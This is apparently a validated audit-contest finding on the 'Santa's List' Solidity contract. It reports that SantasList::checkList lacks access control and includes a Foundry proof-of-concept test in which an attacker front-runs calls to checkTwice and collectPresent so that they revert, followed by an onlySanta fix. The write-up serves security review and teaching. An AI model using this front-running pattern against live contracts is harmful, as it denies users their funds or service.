First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Hacker Can Launch DoS Attacks on Certain Functions

pacelli

Summary

SantasList::checkList is supposed to only be callable by Santa but due to a lack of access control validation, anyone can call the function to front-run calls to SantasList::checkTwice and SantasList::collectPresent and cause the executions to revert.

Proof Of Concept

Paste the following test in SantasListTest.t.sol to test the vulnerability.

POC
function testSecurityReview__HackerCanDOSProtocol() public {
address hacker = makeAddr("HACKER");
​
// -------------------------- DoS on `checkTwice` -------------------------- //
​
vm.prank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
​
// assume:
// - Santa sent a tx to `checkTwice` to validate `EXTRA_NICE` status for user
// - hacker listened the tx and calls `checkList` to front-run Santa's tx and set a different status for user
vm.prank(hacker, hacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.prank(santa, santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
// -------------------------- DoS on `collectPresent` -------------------------- //
​
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// assume:
// - user has a `EXTRA_NICE` status and tries to `collectPresent`
// - hacker listened the tx and calls`checkList` to front-run user tx to change the status
​
vm.startPrank(hacker, hacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(user, user);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent();
}

Impact

Santa can't check users twice and users are prevented from collecting their presents.

Tools Used

Foundry and VS Code.

Recommendations

Add access control check on SantasList::checkList to validate only Santa can execute the function.

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.